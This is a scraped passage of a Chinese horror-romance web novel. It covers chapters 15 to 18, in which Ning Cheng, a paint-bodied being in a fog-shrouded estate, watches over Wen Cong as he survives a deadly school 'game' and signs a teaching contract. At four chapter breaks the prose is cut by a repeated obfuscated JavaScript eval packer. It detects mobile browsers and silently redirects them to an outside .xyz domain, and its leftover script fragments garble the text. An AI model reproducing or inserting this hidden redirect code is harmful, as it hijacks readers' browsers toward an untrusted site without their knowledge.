;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624667|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我来。” 宁琤说:“嗯。” 闻淙:“……你这也太果断了吧!” 他瘪着嘴,神色之间倒真有几分受伤。可宁琤见多了对方装模作样、扮可怜要自己同情的样子,这会儿是半点不会上套。 “待会儿吃完了,你好好去上班。”他说,“然后就别来找我了。” 闻淙委屈地问他:“那我饿了什么办?” 宁琤叹气:“你都已经这么大了,不知道自己解决吗?” 闻淙认真摇头:“不能。哥,你要是不收留我,我一定会饿死——唔。” 嘴巴被拍了一下。 青年眼睛都睁大了,有点不可思议地看着宁琤。而这份惊诧之间,又带着几分微妙的欣喜。 不等宁琤说什么,他已经先一步道:“你明明就在关心我,为什么还要把我推开?不想让我饿死的话,你就让我留下来啊!” 宁琤的手还停留在半空中,有些发抖。 “哥,”那只发抖的手紧接着被闻淙握住,在他的手背上摩挲,指缝也被对方一个不落地缠上了,“我这段时间每天都在想,如果能和你一起生活就好了。咱们两个在一起的话,无论是住在老家还是住在明月湾都无所谓。到时候还是和现在一样,你有你的工作,我有我的,咱们每天一起起来,晚上下班以后也能待在一起……哥,我不相信只有我在想这些,你难道真的一点也没有吗?” 你难道真的…… 宁琤想,不,我只觉得邻居吵闹。 可是,没有对方的吵闹,这个世界便显得太过安静,仿佛再也没有任何值得关注的声息。 无数繁杂的思绪中,宁琤微微偏过头,注视着窗外的雾。 他的视线有些发空,过了良久,终于说:“你错了。” 闻淙近乎要把他抱在怀中了,闻言低低“嗯”了一声,却是不信的:“哥……我哪里错了?”他才不相信呢,哥一定是心是口非。 宁琤的神色已经平静下来,道:“我只是在想,在小区里打邻居是不是在违反生活指南。” “……”闻淙没忍住,笑了声。 在意识到自己发出动静后,他立刻收敛下来,岔开话题道:“哥,不说这些了!这都快要七点半,得赶紧吃了早饭我才不会迟到啊。你那边还要干什么,咱们一起做?” 宁琤看了他片刻,别过头:“水已经烧开了,把我刚才拿出来的肉放进去煮。” 闻淙道:“好!我马上干活儿。” 他依依不舍地把宁琤松开,倒是还算履行承诺,认真做事。 只是干着干着,闻淙又像想到了什么,脸上的表情一点点变得纠结。 仔细去看,里头还有些后悔的意思在。 “哥,”在宁琤把煮熟的肉捞起来的时候,他挪一下,再挪一下,又把自己挪到了宁琤身边,“如果我说,咳,前面的话多少有些冲动,说不定我今天晚上还真不来了……” 话没说完,又被宁琤在脑袋上拍了一下。 闻淙:“哎哟哎哟!” 宁琤收回手,道:“不要说这些没用的话。快点吃完,快点走。” 15.第五天(2) 光明小学每天早晨第一节课的开课时间是8:20。作为不需要上早读的美术老师,闻淙只需要在上课铃响起之前迈入学校大门,就算完成《教师守则》上“不迟到早退”的要求。 以明月湾与马路对面小学的实际距离,他八点出发都算是足够的。但考虑到挡在二者之间的【雾】,宁琤还是在7:50把人推出家门。 闻淙依依不舍地转头看他:“哥——” 宁琤冷酷无情道:“你就那么想迟到吗?” 闻淙:“……” 闻淙:“也不是。” 他最后望了宁琤一眼,这便开始下楼了。 倒是宁琤始终保持着开门的动作,一直到闻淙的身影已经完全消失在视线当中,他依然一动不动。 如此又过了许久,宁琤总算是长长吐出一口气,转回家中。 清洗了自己的碗筷,又将闻淙用过的一次性餐具丢进垃圾桶后,宁琤拿了新衣服,走进浴室。 按说他昨晚睡前才清洗过,这会儿其实没必要折腾一番。可头发总是要处理的,与其待会儿弄得浑身脏兮兮,不如重新洗个澡。 很快,宁琤脱干净身上的衣服,走到淋浴喷头下。 “哗啦啦——” 水流了下来,落在他发间。 透明的水流被染成墨色,顺着他的脖颈、肩膀蜿蜒落下。 不一会儿,他原先只是略显斑驳的黑发露出了真正的底色。纯白的发丝被水流浸泡着,有手指在上面轻轻拨拉一下,最后一点黑色也被冲洗干净。 那些浓郁的黑并未在宁琤身上停留,而是以最快的速度到了他脚底,又进入下水道中。 虽然还是没有镜子,但比起“确认头发有没有掉色”,“确认身上是否干净”就显得容易多了。加上马上就到上班的时间点,宁琤并未在浴室中停留太久。在距离九点还有十多分钟时,他已经一边擦着头发,一边从浴室当中离开。 希望客户对昨天那一稿满意。他心里嘀咕,自己是真不想继续改了。 不知是这份祈祷奏效,还是单纯的甲方愿意当回好人,等到九点以后,组长果然没有再来戳宁琤。 只是他们的工作群依然在滴滴答答地响。打开一看,同事们竟然已经敲定好出行的时间、地点,正在一个个@昨天没有发言的人,问他们为什么不出声。 宁琤也是被@的一员。既然手上暂时没事,他就也稍稍提起兴致,问:“确定是南山的话,咱们到时候怎么过去?” 同事:“看情况吧,要是人少一点的话咱们自己开车就行,人多的话可能就要租一辆大巴了。” 宁琤想了想:“行,那算我一个。” 过了会儿,又问:“能带人吗?” 明明是非常普通的一句话,真说出来却激起了千层浪。 就连宁琤的组长也来凑热闹,问他是打算带谁。 宁琤被他们这股八卦的劲头弄得无语,斟酌一下,回答:“我弟弟。” 不知是不是错觉,这句话下来,同事们的热情明显消退很多,也只有宁琤组长还在回复:“哎?小宁,你什么时候多了个弟弟。” “也不算忽然吧。”宁琤回答,“其实从小就认识了,但之前分开了一段时间,他最近才又找上我。” 组长笑呵呵地回答:“哦,原来不是亲生的。” 宁琤同样:“呵呵。”又不是朱姐那一家百口,一般人家哪儿来的亲生兄弟姐妹。 “行,你想带就带上。”组长说,“就是咱们约的是去滑雪,运动量可能比较大,不知道他体力怎么样。” “我回头再跟他商量一下。”宁琤回复,“具体的后面再说吧。” 说到这儿,闻淙的名额就算敲定了。但对方是不是当真能来,不说别人,就连宁琤这儿都要打一个大大的问号。 眼看组长还是没有布置新工作,他干脆直接私戳了对方,问起甲方后面是否有所回复。组长还是笑呵呵的,说暂时没有。 “有的话,我第一时间给你说。” 后面照旧是握手和鲜花的表情。宁琤无语,“这老东西,也不嫌烦。” 不过隔着电脑,他的嫌弃自然不会传递到组长跟前,后者看到的依然是宁琤回应的同样emoji。 既然暂且没事,宁琤就暂时把电脑放在一边。他从门口的柜子中把几度从【雾】中穿过,已经变得破破烂烂的伞拿出来,看着近乎剩不下什么的伞面,叹一口气,琢磨起修补的事情来。 倒是不难,只是多少显得麻烦。 拎回昨夜那个已经空空如也的油漆桶,宁琤活动一下手腕,随即将一只手放在油漆桶内。 如果闻淙在这儿,多半是要对眼前场景大惊失色。到那会儿,宁琤又要觉得吵闹了。 粘稠却清亮的液体从他开始融化的指尖流淌下来,不一会儿,就在漆桶底部积蓄起薄薄一层。 逐渐有刺鼻的气味飘散在空气中,正是油漆的味道。 没一会儿,估摸着补伞用的油漆量差不多了,宁琤收回手,摸了摸再度空空如也、就差咕咕叫起来的肚子。 明明才吃过早饭,可那会儿积攒下来的一点力量,连让自己头发颜色恢复都没来得及,就重新用了出去。 他失望地叹了口气,又自言自语:“那小子,运气倒是挺好。” 来明月湾时正好赶上【雏鸟驿站】再次出现。之前打交道的时候宁琤就看出来了,这玩意儿对付人类是够用的,实际却没什么脑子。自己只是去给物管会说了声,当晚积攒起了一窗子的【肉】。 到了第二天,虽然【水管里的人】的出现有些出乎宁琤意料,但总得来说还是一切顺利。宁琤只是将自己身上掉下来的油漆混入鲜红的水池,【水管里的人】就被带回下水道。 不过后面给【驿站】主动赠送的【肉】拔毛拆骨还是费了点力气,弄得他当天只能叫外卖。收外卖的时候又出了意外,让宁琤担心了半天自己的食物有没有像那老者一样被压扁。 还好没有。 话说回来,面对一冰箱的【肉】,宁琤可谓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673643|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十分知足。无论是给闻淙吃掉、让他在来来回回时抵抗外间的【雾】,还是他自己吃了,保存体力,都是不错的选择。 虽然眼下力量消耗掉了,饥饿感紧跟着出现,但宁琤并没有急着补充。他把油漆刷拿了起来,对着伞上的空洞,一下一下认真刷了起来。 油漆最先上去的时候是一层薄薄的肉色,恰似宁琤的皮肤。可等到它将伞骨之间空着的部分完全覆盖之后,就又化作了一片透明。 像是伞本来的样子。 宁琤左右看了看,对自己的成果十分满意。 前头给闻淙说这是物管会出品的东西,这自然是假话。只是他周三白天就预想到晚上可能会出现“在闻淙面前下楼倒垃圾”的场景,又不想让对方吵得自己脑壳痛,于是在处理完【肉】后,事先做了点准备。 眼下,宁琤耐着性子,一面一面地刷手中的伞。一直到油漆桶再次变空,伞也恢复如初了,他终于活动一下筋骨。 别看这活儿并不麻烦,细心却还是要的。不知不觉,一上午又过去了。 宁琤腹中饥饿感更甚。这自然是违反了《生活指南》中的要求……或者说“建议”吧,但他并不在意。 毕竟《生活指南》是物管会出品、给人类看的东西,他愿意遵守其中一部分说明他脾气好,可不遵守也不会出什么岔子。 就像里面十六条便规定了,【水管里的人】到访过后,住户应该将自家水龙头静置72小时以上。宁琤不曾遵守,那不经同意便入侵的家伙照样不敢来第二次。 只是,如果是一个人类拥有他眼下的感觉,大约已经被侵蚀心智,跑到外面到处找邻居要吃的。 后续无非是两种结果。碰到其他人类开了门,开门人被【饥饿】的人吃掉;碰到非人的存在开了门,或者从头到尾不曾见到任何一个邻居,便被前者或者【小区】吃掉。 但在宁琤而言,他只是稍稍烦躁了一点,这份烦躁还有多半是因闻淙而来。 虽然闻淙不曾和他正面说起,但从对方这几天的表现推断,对方这次重新来到榴花市,在光明小学的任务时间应该只有五天。确切地说,是从周一早晨上学时间到周五下午的放学时间。 宁琤不觉得自己能违反【光明小学】和【怪谈游戏】的双重规则,在任务者们的游戏进程当中以一个非教职工也非学生的外人身份进入校园。 他即便想要把闻淙带回来,也只能等到五点半以后。 如果那会儿闻淙还活着; 如果闻淙真的放弃回到他们原本世界的机会,并且找到了留在这个世界的办法。 光是想到后一样可能性,宁琤的身体便再次开始颤抖。 好像又回到了那个时候。大股大股的油漆涌入他的口鼻,让他的呼吸被完全淹没。 会死掉的。 可是,闻淙活下来了,这就够了。 意识朦胧的时候,宁琤看着闻淙的背影,听着青年的哭声,这样想到。 这是…… 多久以前的事情了? 16.第五天(3) 宁琤仔细想了想,发现自己已经记不清了。 他曾经是一个对时间很敏感的人。这也是难免的,如果有一个每隔多少日子就必须进入一次【怪谈游戏】在身边,必须拼尽全力才能争取到微末生机,那任何一个人都会和他一样,时时刻刻都计算着【安全】和【危险】有多少剩余。 更何况宁琤要关注的不光是自己的状况,还有闻淙的。 从十岁出头、第一次看到被父母带领着到自己家拜访的闻淙那天开始,这份关注就没有停下来过。 虽然最初的时候,宁琤对此并不情愿。他自己也是个孩子,却被所有人嘱咐要照顾别的孩子。可闻淙在缠人之外,又的确是个颇为可爱的小鬼。总是眼巴巴地跟在宁琤身边,一跟就是一整天。任何人和他问起,他都毫不吝惜地大声告诉对方:“因为哥对我很好啊!我喜欢和哥在一起!” 那会儿宁琤心里还在犯嘀咕。他不觉得自己对小鬼哪里好了,更多难道不是“你安静一点,我要做作业”“这个给你玩,不要打扰我”吗? 可是…… 他没有意识到,像自己这样,哪怕态度里总带着烦躁,可能回应闻淙大半话音的人,本身就没有第二个了。 闻淙的父母很忙。宁琤当时不知道他们具体是做什么工作,只知道两人将闻淙托付到自家后,很快就从小区里消失了。往后每隔十天半月,才会出现一次。 闻淙的童年、少年时期几乎都是在宁琤家里度过的。确切地说,是在宁琤身边。 哪怕他父母去世的消息传了回来,闻淙也在“去亲戚家”和“继续住在宁琤家隔壁”中选择了后者。宁父作为闻家夫妇的故友,自然不可能眼睁睁看着二人的遗孤真正孤零零生活。于是在闻淙开启“独居生活”的第二天,他就被接到宁琤家中。 听惯了一天八百遍“哥”后,宁琤在大学里发现耳朵旁边终于清净了,竟然还别扭了一阵儿。 再后来,他自己的父亲也去世了。闻淙姑姑再度想来接走他,但闻淙坚决拒绝,还自己跑回了宁、闻两家同住了许多年的小区。 宁琤最初听到“闻淙失踪”的消息时,是有犹豫过的。 他要插手吗?如果想要告别这段来自长辈的纠葛,这恐怕是最好的机会。说到底,闻淙有他自己的家人,本就不是自己的责任。 可是,他又想到闻淙开心地,快活地——伤心地,委屈地喊自己“哥”的样子。 于是宁琤还是回去了。 他那会儿是真的忙,无法做到和父亲一样对闻淙的衣食住行生活起居事无巨细。但闻淙也长大了,只要有一个完全接纳自己的“家”存在,他就可以自己照顾自己。 再有,某种程度上两人之间有些距离也是好事,往后闻淙才好理直气壮地说出:“我当然能分清楚对你是什么感情!就算我叫你‘哥’,咱们俩也不是真的兄弟,你——” 还是这么吵。 宁琤言简意赅:“闭嘴。” 闻淙:“才不呢,我又不是小孩……唔。” 宁琤选择用物理方式让他闭嘴。成效显著。 哪怕已经过去很久,这些曾经的记忆也依然生动鲜活地存在于宁琤的脑海中,丝毫不曾褪色。 他选择留在当时的【游戏场地】中,用自己性命换取闻淙性命的时候,是真的没想到自己能活下来。 只是换了一种方式。 成为【它们】的一员后,宁琤逐渐对这个昔日自己避之不及的群体有了更清晰的认知。 【它们】有自己的生活方式,其中很大一部分甚至并不热衷于【捕猎】行为。当然,如果【致命规则】被触犯到,就是另一回事了。 就像【明月湾】的居民不应该感受到【饥饿】,【光明小学】的学生不应该【不认真学习】,老师则不应该惩罚【没有犯错的学生】; 同样,【秦川省人民医院】的病人不应该【违背医嘱】,【欢乐谷】的游客不应该【感到悲伤】…… 哪怕已经是【它们】当中喜好和平、亲近人类的存在,宁琤依然有一条【致命规则】。好在一般人类很难触犯,更多在他面前出状况的还是【它们】。 这让刚在榴花市定居的宁琤松了很大一口气。虽然这边的人类组织有一个重要观点,即【它们】并非人类,哪怕外观再怎么无害,也不具备人类的感情,可他知道,自己的确是一个例外。 如果闻淙的确找到了方法,那他或许会成为另一个例外。 或许是饥饿太过的缘故,光是这么想过,宁琤的胃就绞痛起来。 他焦躁地又确认了一遍时间。一点,太早了,太早了,实在是太早了。 楼道里偶尔有脚步声传过来,不知道是出来觅食的【它们】,还是懵懂地走向陷阱的人类。 人类——会死的…… 如果还没有完全被【饥饿】吞噬,他们应该回家。 抱着这样的念头,宁琤勉强打起精神,想要去外间提醒。 他也的确打开了屋门。在看到他的瞬间,外间正在小心翼翼下楼、嘀咕着“今天怎么哪里都不对劲”的情侣发出了一连串尖叫,随即手脚并用的向楼上跑去。 宁琤:“……” 不管怎么说,他们俩今天应该不会再出来了。 宁琤缓缓转过头,又看向了窗外。 入眼依然是一望无际的雾,不知道闻淙现在怎么样了。 他随手擦掉沾在门把上的油漆,重新将门闭拢,安静等待。 …… …… “就给你说吧,这个小区真的不对劲!” 701屋子中,好不容易躲进家里、身体还在不断颤抖的青年男子这么和女朋友说,“我刚来的时候就觉得奇怪了,一般小区哪来的那么多事儿?现在好了吧,咱们估计已经被瓮中捉鳖了,再一露头,那些怪物就要……” “那你说,现在怎么办?”他女朋友烦躁地问,“出又出不去,家里也没吃的了。不是还规定必须吃一日三餐吗?现在根本没办法吃啊!” 男子一咬牙:“我看这条规定应该不重要。早过午餐的点了,咱们不是没事儿吗?现在出去,问题才是大了!你看到刚刚那个人了吧?他的身体……他像是整个人都要融化掉了!” 女朋友喃喃说:“也是。”沉默片刻,“不过,我好像还看物管会的人说,如果家里没有食物了可以私聊他们。就是那个叫‘财袁广进’的账号。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680923|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 男子嗓音都抬高了:“你信?你信这个??那些乱七八糟的规定落款就是他们,真把人招来了,恐怕——” 女朋友咽了口唾沫,声音压低很多,轻轻说:“也是。” 然而他们毕竟只是人类。【饥饿】不出现时还好,一旦出现,便意味着绝路。 不过一个小时过去,骨子里便响起“好饿……好饿”的话声。再之后不久,则冒出了让人毛骨悚然的“咯吱咯吱”动静。 “好饿……不够……” 占满了鲜血、脂肪与碎肉的手指被【饥饿的人】放进口中吸吮,鲜美的气味让【它】眼睛眯起来,得到了一瞬间的极致满足。然而很快,这份满足像是流水似的消散了。重新出现的、尾部如烧灼般的痛苦让【它】跌跌撞撞地站了起来,来到家门边,想要出去寻找食物。 只是…… 想到自己刚才看到的场景,【它】不由地打了个哆嗦。 楼下那个存在,是自己可以应对的吗? 被食物短暂塞满的脑子出现了一点清明,【它】舔了舔嘴唇,目光缓缓挪动,落在了手机上。 物管会办公室里,袁代表的手机振动起来。 她脑袋“啪嗒”一下摔在桌子上,又自己爬起来。看了新消息后,和同事们喊:“四号楼,701!又有人反应没有吃的了,谁休息得差不多?跟我去送饭!” 很快有同事响应。只是她们食物还算充足,用来在【雾】中行走、防御的【雨衣】却所剩无几。 袁代表看着那些此前出行时已经弄得破破烂烂的雨衣,也有些头疼,“街道办那边也不多,分给咱们……唉……算了,两件叠在一起穿吧。现在还没吃饭,应该已经很危险了,不能耽搁。” 在这个认知的催促下,两人很快出发。不多时,便到了四号楼的七层。 在敲门之前,袁代表照例先从袋子里摸出一袋鲜红液体,抹了一点在701门上。 “行了。”她示意同事。两人小心翼翼地后退,一直到到了七楼、六楼之间的平台,袁代表终于又摸出一个弹弓,对准701屋门发射。 “咚”声尚未落下,一声巨大的“砰”响传了过来。袁代表和同事是觉得一阵腥风扑面而来,再一定睛,那从正长着血盆大口的怪物已经近乎不具备人形!一双尖锐的獠牙上还挂着丝丝血迹,粘着碎肉的长舌在口中不停摆动,朝着二人嘶叫:“吼!!!!!” “袁姐——” “后退!!!” 袁代表咬紧牙关,取出了第三样东西—— 一把白色的粉末。 五分钟后,怪物倒在地上奄奄一息。袁代表小心翼翼地绕过【它】,朝屋内探头,一眼看到了里面七零八落的骨头。 她抽了一口冷气,眉尖紧跟着压了下去。 “奇怪,”袁代表喃喃自语,“【饥饿的人2361】为什么没有下楼捕猎,而是一直停留在屋子里?” “袁姐,”同事也绕了过来,又是后怕又是好奇,“你刚刚撒的是什么?” “碱面。”袁代表随口回答,“【胃酸】被中和掉,就没法伤人了。” 同事:“……” 真奇妙。 17.第五天(4) 表盘上的指针一刻不停地转动着,靠在沙发上的人影却久久没有声音。 不对—— 细细去看便会发觉,就像701那对已经死去的情侣说的一样,【它】正在融化。 油漆缓缓地从【它】的皮肤上流淌下来,堆积在沙发上。乍一眼望着,好像有一整张人皮将沙发覆盖。 而【它】对此仿若无知无觉,一双怪异浮在流动油漆表面、许久不曾眨动的眼睛依然望向墙上钟表的方向,看指针们一圈接着一圈地转动。 “咔哒。” 三点到了。 “咔哒咔哒。” 四点到了。 “咔哒咔哒咔哒。” 五点到了。 “咔哒咔哒咔哒咔哒咔哒——咔哒!” 五点十分。 沙发上慢慢流动的油漆在这一刻骤然鲜活起来,开始朝着它们原先的位置倒退。 从紧靠着沙发的双腿,到落在腿上、修长有型的手指,再到往上的腰身、胸膛。 淡红色的油漆变回【它】的双唇,零星白色化作唇中牙齿,眼珠也安安生生地回到了眼眶内。 一张称得上清贵而俊朗的面孔就这样出现了,而油漆还在继续往上。一息之后,服帖地在【它】的额头停下流动。 至此,【它】完全变回了“他”。宁琤眼皮动了动,重新伸手去拨拉头发。他到底是不太满意的,如果可以的话,自己还是希望用从前的相貌去见闻淙。而不是像现在这样,虽然眉眼不曾有什么改变,可一头白发,连眉毛都是白色,看起来就不正常。 但也只能如此了。短暂郁闷后,宁琤打起精神,拎起已经补好的伞出门。 如果闻淙身上的【油漆】还在,这东西其实是用不到的。但对方已经在学校里待了整整一天,眼下又十有八九是情况最为凶险的任务最后一日,宁琤觉得,自己还是做两手准备为妙。 来到楼下,他毫不犹豫地踏入白雾当中。 在楼里时尚未察觉,此刻他却能听到细微的“嗡”响。不算大声,却连绵不绝。宛若一片细细密密的网,又像是一个将宁琤整个人都扣入其中的笼罩。 身上的衣服迅速地湿透了,黏黏糊糊地贴在宁琤身上。 他不过走了两步,便觉得身上重得再难前行。如果换闻淙在这里,恐怕又要和前面一样被压得直接倒在地上。 宁琤的神色却没有丝毫变化,还在继续往前。 从第三步开始,“嗡”声消失了,取而代之的是有什么东西扑簌簌落在地上的声响。 一片斑斓色彩出现在宁琤走过的地方,认真去看,便会发现有什么细小、会动的东西正在其中不停挣扎,奈何【油漆】已经将它们完全困住,眼下的动作,不过是让它们更快被吞没。 【雾】是强大的,就连【明月湾小区】也无法将它完全驱逐; 组成【雾】的【虫】是弱小的,哪怕只是宁琤这样平平无奇的小区住户,都能在它们当中自由穿梭。 不多时,他迈过大门,踏上同样被白雾完全覆盖的马路。 距离光明小学只有不到二十米了,可宁琤依然看不到半点小学的样子。 那股自从周一见到闻淙开始便始终存在、时不时变得激烈的烦躁感再度升腾起来,握着伞的手掌心微微粘腻。 他喉结滚动一下,硬生生地将不快的心情压了下去,低下头,去寻找路上的斑马线。 《榴花市交通守则》第131条:“机动车路遇斑马线时,请遵循‘市民优先’原则,对正在通过斑马线的市民朋友停车让行。” 虽然今天是个特殊的日子,全市的人类都应该已经接到通知——虽然通知内容五花八门——不会出门,而眼下的马路也仿佛安安静静,不像有车在行驶的样子,可万一呢? 似乎是为了印证宁琤的想法。就在他走到斑马线的一半时,身后忽然传来了车子启动的声音。 同时,他背后的雾气像是被一只无形的手搅散了。大片白色“沙沙”地落在地上,还有几粒在风的带动下飞向宁琤的衣服。 此时此刻,宁琤的衣服已经完全干了,再也看不出方才湿漉漉的痕迹。 本就是白色的外套,沾上【虫】的尸体也不算显眼。可宁琤还是嫌弃地压低了眉毛,便有一滴油漆从衣服上滑了下来,裹着虫尸落在地上。 而他本人则又一次走远了。踩着依然在蔓延的、宛若用之不尽的油漆,宁琤来到了小学门口。 怪异的是,那笼罩了整个榴花市的白雾,竟然唯独将光明小学排除在外。以学校铁门的位置作为分割线,退一步,是浓郁得化不开的雾色。进一步,则是丝毫雾气也不曾有的操场。 闻淙这会儿就在操场上。也不光是他,宁琤还看见了其他人类。毫无疑问,这些都是同样来参加本次【游戏】的【玩家】。 他们的状态…… 很不好。 所有人都受了轻轻重重的伤,其中一名男玩家甚至丢掉了整条胳膊。鲜血正在不断从他的伤口处往外喷涌,而在短短时间之内大量失血,男玩家的脸色已经变得惨白,仿佛下一秒就要停止呼吸。 却没有其他人在意他。准确地说,他们当中有些人甚至在庆幸—— 太好了,刚才“狼”咬中的人并不是我! 太好了,马上就要到“放学”的时刻。他们已经成功地找到了任务要求里“失踪的学生”,只要其他人再能拖住那恐怖的怪物五分钟,不,甚至用不到五分钟!他们就都能安全地回到“现实世界”。 不过,宁琤也看出来,他们注定要失望了。 狼本身就是一种非常狡猾的生物,尤其是在成为【它们】的一员之后。 放着其他更加鲜活的猎物不管,只专心去吃已经无法逃命、只能留在自己嘴里的猎物,这才不是那头正在操场上扑杀的小狼会做的事情。 毕竟【它】又不知道,再过几分钟,自己眼里板上钉钉的晚餐只要还有一口气在,就会被【怪谈游戏】带走。 看出这点的不光是宁琤,还有那个本以为自己要死了、眼下却仿佛多了一丝生机的男人。 他青白的嘴唇勾起一个近乎于无的笑容,用仇恨目光看着这会儿正被怪物按在身下撕咬的男人。 原来是这样…… 宁琤若有所思。 难怪那头小狼的动作没有触犯到自己的【致命规则】。 最多最多,自己只是有一点有什么东西被抢夺走的不快罢了。 不过和陷入异常状态、和根本惹不起的存在杠上相比,这点不快根本不算什么。 宁琤很轻松地将其忽略掉,目光重新落在闻淙身上。 只一眼,他的神色就变了。 这家伙……原本不是已经找到了躲藏的地方吗,这会儿为什么又站了出来? 不仅如此,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711193|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至是直接朝着那头已经完全看不出本相的狼怪去了! 宁琤忍不住往前走了一步。 也是这一步的变化,让他骤然升起一种由内而外的刺骨寒冷! 门边保安室的门悄无声息地打开了。分明只是傍晚时候,天色未暗,里面却黑洞洞的。 更诡异的是,这片黑色当中,竟忽地露出两点红色! “这位……”【它】似乎犹豫了一下要怎么称呼宁琤,最后还是将称呼含糊地吞咽了下去,“还没有到放学时间呢。” 宁琤手中,伞柄已经完全被油漆染上皮肉的颜色。 他的目光仍然一转不转地看着操场上的闻淙。十秒钟过去了,半分钟过去了……终于,一道轻轻的应声传了出来,“我知道。你瞧,我没有进去。” “是啊。”学校的【保安】嘶嘶地笑了笑,依然敞开着室门,明显是做好了一些准备。 宁琤却当真是没有进一步动作。他这会儿已经看出来闻淙想做什么了,对方不知从哪儿摸出一个矿泉水瓶,将瓶盖拧开,朝着狼怪大喝一声。 这果然引起了狼怪的注意力。后者立刻转过身,一双猩红的眼睛看着闻淙,吻边的毛发还在滴滴答答地落着血。 【它】把闻淙视作自己的第三个猎物,而闻淙双脚定定立在原处,没有丝毫要离开的意思。 青年就那么眼睁睁地看着狼怪朝自己扑了上来,而后—— “叮铃铃——” 光明小学的放学时间,到了。 闻淙的身影,在铃声当中被狼怪完全覆盖。 …… …… “叮铃铃——叮铃铃——” 铃声还在不断响起。 先前被阻拦在外的雾气,这会儿竟开始丝丝缕缕地进入校园。 不过,哪怕只是以肉眼看,也能发觉校园内的白雾在快速变淡。 “叮铃铃——叮铃铃——” 保安室的门重新合拢,校门在宁琤面前豁然打开。 这时候,操场上的人类们已经完全消失了。血腥味减少,正准备咬断新猎物脖颈的狼怪有所察觉,不解地转过脑袋。 人呢? 狼怪想要知道答案,可是它的视野开始变得模糊。 庞大的身体晃动了一下,又一下,终于不堪重负,“咚”地落在地上。 近乎同时,一张纸页幽幽地从天上飘了下来,恰好落在操场中间。 《光明小学教师聘用合同》 甲方:光明小学 乙方:闻淙 闻淙推开压在身上的重物,艰难地站起来,觉得自己恐怕已经断了一条腿。 但是没关系。 他已经成功地得到了【光明小学】的聘用,拥有在榴花市的合法身份! 接下来只要—— 拖着剧痛中的腿,青年跳向那张薄薄的纸页。 …… …… “叮铃铃——叮铃铃——” 伴随放学铃声,学校的老师、学生们一个个地从楼中走出,想要离开校园。 【它们】都看到了那个身上带着血的人类,不少师生露出兴味目光。 但很快,【它们】又转开了视线。 不知不觉,一片色彩艳丽的油漆从学校门口蔓延进来,一直到了那个青年脚下。 原来…… 已经被别人标记了呀。 18.第五夜(1) 闻淙终于走到了《招聘合同》前方。这个时候,新的问题出现了。 他有些为难地东张西望起来,试图寻找一根可以用来签字的笔。然而看了半天,入眼的都只有用“这块小点心真好吃”“不行了别人家的点心不能乱碰还是赶紧走吧”的学校师生。 闻淙:“……” 他的目光缓缓往下,落在脚下的油漆上。 其实有点高兴。 哥不光来了,还这么帮了他。 光是意识到这点,闻淙的心脏就开始狂跳。 不能让哥一直等下去!——抱着这样的念头,他果断蹲了下来,用手指蘸取了一点深色油漆。 学校外面,看着闻淙的动作,宁琤的眉尖轻轻跳了一下。 那股冰冷的注视感又出现了,只是这次消散得很快。 【光明小学】恐怕也是有点心虚的吧?明明已经把《招聘合同》给了出去,偏偏要选在这个时间、地点。既然如此,就不要怪新聘用的这位老师也用上一些小手段了。 虽然看闻淙那喜滋滋的表情,他恐怕没有意识到,【油漆】是受自己控制的一样东西。 换句话说,自己想让它存在,它就会存在;想让它消失,它也会消失。 可以说,作为和闻淙认识了快要二十年的人,宁琤的确对对方有足够的了解。 眼看自己的名字出现在合同上,闻淙先是觉得安心,这下自己就和哥一起留在榴花市了。紧接着,又多出一种截然不同的感觉。 他忍不住再次低头,去看自己的双手。 光凭双眼观察,一切似乎没有任何变化,然而…… 闻淙嘴巴抿着,又去看自己的腿。 前面的剧痛,正以极快的速度消散着。 有股直觉在告诉他,这是因为自己的伤并非真正来自前面那头狼怪,只是对方块头实在太大,倒下来的时候位置又不巧,于是将他砸到。 对于人类来说,这或许的确是一重麻烦。可对于【它们】而言,不过是一点花几分钟就能自行修复的小伤口。 难怪。 他静静地想。 在此之前,和哥一起做任务的时候,他们是有遇到过【觉醒派】的。 